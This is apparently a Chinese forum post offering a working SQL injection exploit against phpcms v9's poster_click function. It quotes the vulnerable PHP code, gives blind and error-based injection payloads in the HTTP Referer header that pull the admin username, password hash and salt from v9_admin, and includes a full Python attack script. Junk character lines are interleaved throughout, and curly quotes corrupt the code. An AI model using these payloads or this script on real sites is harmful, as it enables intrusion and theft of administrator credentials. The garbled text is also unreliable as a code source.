phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
2 H$ s* p7 m2 ?$ R. W; s0 N& ~
4 k7 ]; _/ r) r' {/ @' g* ?问题函数\phpcms\modules\poster\index.php
  o- \, f  W, e8 V6 O( [! H! d
) Z5 x$ U- h! s$ x0 \) ^! p; t! hpublic function poster_click() {
- Q2 S, B* D1 @: X/ Y$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
  B$ p' i( F1 i' F: ]$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
* f0 R" Q3 L$ S' dif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$ y" L; z4 v$ E  ?1 b$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
7 z+ y6 u( f3 `8 |& c2 x} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
header('Location: '.$url);
}

- V9 L$ ?7 C( G1 G) n, J$ a+ ~6 M

* ]! m' }* L" P$ o% ~利用方式：

8 O6 y2 _7 H) \- O) ~1、可以采用盲注入的手法：
. f: k) n$ c' I/ x
/ B: d2 b. T9 P& @' y) F5 [referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
2 x# y# l, K) M* T/ {5 k$ I$ c
通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：

' P; S0 D) o- c1 E8 |/ g1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

: ]/ k5 u, O1 Z4 l4 j此方法是爆错注入手法，原理自查。
2 f1 c/ Q0 N4 Y
1 c7 B* B- n7 n& v. s$ Y9 B4 V

; H) z& ^6 V* F9 a利用程序:
$ A6 W' t" K/ m9 D4 U
2 f$ h; w% o% A. B9 a1 k0 }4 n#!/usr/bin/env python
7 U0 t% g7 N9 C4 nimport httplib,sys,re
9 o( S2 b; _7 ]! N/ ~
7 R6 S) _' a3 @) odef attack():
print “Code by Pax.Mac Team conqu3r!”
2 N2 W& V! y" _; s* |" ^print “Welcome to our zone!!!”
) T+ ]: E3 `, Kurl=sys.argv[1]
& c. }! y  z+ ?1 j6 o0 R5 m7 |paths=sys.argv[2]
# `9 a" s! m7 c% r4 a/ jconn = httplib.HTTPConnection(url)
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
“Accept”: “text/plain”,
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
: O- ~. a, p  D2 ^8 }! gconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
r1 = conn.getresponse()
datas=r1.read()
1 r7 i! Z& z; X1 e5 q: jdatas=re.findall(r”Duplicate entry \’\w+’”, datas)
" L2 Q9 R% s) d& D8 U  {+ k# m5 aprint datas[0]
' S# `# Y1 o$ \4 iconn.close()
' M# W. _- I# u1 W5 J, Vif __name__==”__main__”:
5 Z3 v3 v3 O" sif len(sys.argv)<3:
$ E+ ?, U* X2 f! Aprint “Code by Pax.Mac Team conqu3r”
print “Usgae:”
; Z% r* L* @" Q" hprint “    phpcmsattack.py   www.paxmac.org /”
print “    phpcmsataack.py   www.paxmac.org /phpcmsv9/”
sys.exit(1)
* R+ T3 l( q" N+ S, a2 I; |, dattack()

5 N  X. `5 w" O$ q5 Y2 x